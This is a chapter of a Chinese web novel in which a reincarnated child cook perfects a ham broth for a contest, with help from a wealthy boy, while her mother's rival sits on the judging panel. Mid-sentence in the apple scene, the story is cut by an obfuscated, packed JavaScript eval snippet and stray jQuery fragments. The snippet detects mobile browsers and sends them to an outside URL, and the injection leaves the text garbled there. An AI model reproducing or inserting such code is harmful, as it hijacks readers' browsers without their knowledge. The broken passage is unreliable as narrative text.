自从谢晚酌说要去现场看她比赛后，宋如淼心里那本小账翻得更勤了——连系围裙的结都打得更紧、更端正。她要让他亲眼看见自己怎么赢，还要把那口“深井”喂得更多一点。


    她踩在谢家特制的小梯凳上，眉头紧锁地盯着那锅已经熬了三个小时的高汤——这是为决赛“自选菜”准备的灵魂底汤。


    汤色已经转浓，泛着奶白，香气也沉了下来。


    可宋如淼舀起一勺，吹凉了尝了尝，小嘴立刻撇了下去。


    “不对。还是不对。”她放下勺子，语气懊恼，“只有鲜，没有魂，还是缺了点……”


    一直默默站在旁边的谢晚酌走了过来，视线扫过锅里：“缺什么？”


    “缺时间的味道。”宋如淼转过头，琥珀色的眼睛在灯光下显得格外认真，“我需要陈年金华火腿的‘上方’，必须是三年以上自然发酵的老腿，取最中间那块精肉。现在的汤底太飘了，压不住面的劲道。”


    她叹了口气，小肩膀垮了下来：“可是我让妈妈去市场问过了，能买到的要么年份不够，要么是拼接腌制的，味道不纯正，根本不行。”


    谢晚酌看着她皱成包子的小脸，没说话。


    他只是转身走到窗边，拨通了一个电话。


    他的声音压得很低，宋如淼竖起耳朵也只听到几个零星的词：“……嗯，要最好的……明早送到。”


    挂断电话，他走回她身边，语气平淡得像在说明天早餐吃什么：“先按现在的步骤练习。你想要的火腿，明天上午到。”


    宋如淼愣了一下，随即眼睛噌地亮了，像两盏小灯泡：“真的？空运吗？晚酌哥哥你也太厉害了！”


    谢晚酌看着她兴奋的样子，眼底闪过一丝极淡的笑意，面上却依旧矜持：“嗯，顺手的事。”


    晚上，出租屋。


    屋内灯光昏黄。宋听雅和宋如淼挤在小沙发上，翻看大赛组委会刚寄到的最终版手册。


    “淼淼，你看这个……”宋听雅的手指忽然僵住，停在手册的评委介绍页上，脸色唰地一下白了。


    宋如淼凑过去。


    那是评委名单。前四位都是业内泰斗，而最后一位——


    【特邀嘉宾评委：唐安意。云城电视台美食频道总监，傅氏餐饮集团顾问。】


    “她……她怎么会是评委……”宋听雅的声音在发抖，指尖用力到把纸张攥出了褶皱。


    她带着淼淼东躲西藏，就是为了避开这群人。可如今，唐安意不仅风光无限地成了傅太太，还手握评审大权，正坐在高台上等着给她的女儿“打分”。


    这哪里是打分？这分明是悬在头顶的刀。


    “妈妈？”宋如淼伸出小手，用力握住妈妈冰凉的手指。


    那温热的触感，把宋听雅从冰冷的恐惧里拽了回来。她低下头，看到女儿正仰着脸，那双琥珀色的眼睛里没有一丝惊慌，反而透着一股超乎年龄的冷静。


    “妈妈，别怕。”宋如淼的声音糯糯的，却字字清晰，“她现在是傅太太，是评委，有那么多镜头盯着，有那么多人看着。她越是想针对我，就越不敢明目张胆地乱来。”


    “可是……”宋听雅还是心慌，“欲加之罪，何患无辞。她如果说你的菜不好吃，谁敢反驳？”


    宋如淼忽然笑了，她凑过去，“吧唧”亲了妈妈一口。


    “那就做得让她没法挑刺。”宋如淼眼底闪过一丝属于厨神的傲气，“我会让我的菜说话。她要是敢闭眼说瞎话，那是她丢人，不是我。”


    她顿了顿，又软软地撒娇：“而且，晚酌哥哥他们明天也会去哦。有他们在，没人敢欺负我的。”


    宋听雅紧绷的肩膀稍稍松了松，她把女儿紧紧搂进怀里：“妈妈不会让任何人欺负你。”


    第二天一早，宋如淼刚进谢家厨房，就被眼前的阵仗惊呆了。


    管家正指挥着两个人，小心翼翼地拆开几个沉甸甸的保温箱。


    箱盖一掀开，一股浓郁醇厚、带着微微木质香气的陈年咸香，瞬间霸道地占领了整个厨房。


    那是时间的味道。


    整整五条金华火腿，外皮呈深褐色的油亮光泽，上面贴着黑金色的标签：【特选上方·五年陈·顶级】。


    旁边还摆着几个小盒子：还带着泥土气息的野生松茸、嫩得掐出水的冬笋尖，甚至还有一小盒极其昂贵的黑松露。


    宋如淼忍不住凑近那条火腿，深深吸了一口气，陶醉得小脸都红了：“这味道……起码得是在恒温窖里，挂在向阳那一面足足晒够了日子的！极品啊！”


    她转过头，看着坐在一旁看书的谢晚酌，声音都激动得发颤：“晚酌哥哥，这也太贵重了！”


    谢晚酌翻过一页书，连眼皮都没抬，语气淡淡：“工欲善其事，必先利其器。这些只是耗材，不够随时给你补上。”


    “耗材……”宋如淼嘴角抽了抽。前世在天宫，最好的食材也要靠功德换，这一世倒是直接抱上了‘移动金库’的大腿。她甚至在想，若是把谢晚酌这尊大佛伺候好了，以后是不是连飞升的雷劫都能用金条给填平了？


    她不再废话，立刻开工。


    有了顶级火腿加持，高汤的醇厚度瞬间上来了。


    可是，新的问题出现了。


    半小时后，宋如淼尝了一口汤，眉头反而皱得更紧了。


    “怎么了？”谢晚酌敏锐地察觉到了她的情绪。


    “太‘厚’了。”宋如淼喃喃自语，“五年陈的腿，咸鲜味太霸道，压住了笋的清灵。喝第一口是惊艳，喝到第三口就会腻。这样的汤，做不出让人‘活’过来的感觉。”


    谢晚酌放下书，走过来：“那怎么办？换淡一点的？”


    “不用换。”


    宋如淼的目光在厨房里飞快地扫了一圈，最后落在那一篮红彤彤的苹果上。


    她眼睛一亮，哒哒哒跑过去，挑了个最红的苹果，洗净，连皮切成大块。


    “扑通。”


    几块苹果被丢进了那锅浓郁的咸鲜高汤里。


    谢家的厨师正好路过，看得眼皮一跳，——这可是顶级高汤，扔苹果进去不是瞎搞吗？！


    宋如淼却淡定得很。她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118177|195438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用小火慢慢煨着，苹果里的天然果酸和清甜，在热力下丝丝缕缕地渗出来，像一双温柔的手，悄悄化解了老火腿那股咄咄逼人的咸腻。


    二十分钟后，苹果软烂捞出。


    宋如淼盛出一小碗，汤色金黄清透，不再浑浊。


    “尝尝？”她递给谢晚酌。


    谢晚酌接过，抿了一口。


    入口先是火腿的醇香，紧接着是一股极淡极淡的果香回甘，油腻感荡然无存，只觉得喉咙被润得无比舒服。


    站在一旁的厨师也忍不住凑过来抿了一小口，随即老脸通红，对着宋如淼很是叹服：“苹果入老汤……小祖宗，你这是化腐朽为神奇呐。这法子我只在电视里见过只言片语，没想到今天竟在一个孩子手里见到了真章，真是不服不行！”


    谢晚酌原本冷淡的眉眼，肉眼可见地舒展开来。


    【渊境回响：积蓄进度 3.8%……4.0%！】


    宋如淼听着脑海里那声清脆的上涨音，嘴角疯狂上扬。


    “成了！”她握拳。


    就在她准备把汤封存好时，眼角余光忽然瞥见谢晚酌刚才看的书——是一本《云城青少年烹饪大赛历届优秀作品集》。


    书页摊开的那一面，赫然是傅庭深和唐安意的照片。


    宋如淼愣住了。


    谢晚酌察觉到她的视线，并没有遮掩，反而坦然地合上书：“你看到了吧？”


    “嗯。”宋如淼点头，“她是评委。”


    “唐安意不仅是评委，她还是傅庭深现在的太太——是那个顶替了宋阿姨位置的人。”谢晚酌的声音很平静，却透着一股让人安心的冷冽，“她很大概率会针对你。”


    他看向宋如淼，眼神专注：“怕吗？”


    “不怕。”宋如淼挺起小胸脯，指了指那锅汤，“我的汤会说话。而且……”


    她看着谢晚酌，忽然笑了，眉眼弯弯：“而且我有你呀。你不是说了吗，你会看着我拿冠军。”


    谢晚酌怔了怔。


    片刻后，他嘴角轻轻勾起一个弧度，伸手在她的发顶轻轻揉了一下——


    谢晚酌的手指微微一顿，掌心触到小姑娘柔软的发顶，那股暖意顺着指尖一直钻进他的心口，让他原本有些荒芜的识海竟然荡起了一圈极细微的涟漪。这种感觉很陌生，却并不讨厌，像是冰封已久的荒原上，突然开出了一朵颤巍巍的小黄花。


    “嗯。”他说，“我在。谁也动不了你。”


    夜深了。


    宋如淼躺在床上，闭上眼睛，脑子里一遍遍过明天的流程：进场、抽签、备料、烹饪、摆盘、呈递……


    就在她即将入睡时，神识深处忽然传来一声从未有过的、极其悦耳的提示音：


    【渊境回响：明日宜‘夺魁’。】


    宋如淼迷迷糊糊地翻了个身，嘴角挂着笑意睡着了。


    有前世的神识，有师父的庇佑，有妈妈的爱，还有晚酌哥哥护航。


    明天，就让那个所谓的“傅太太”，好好尝尝什么叫搬起石头砸自己的脚。云城的天，也该有彩虹了吧。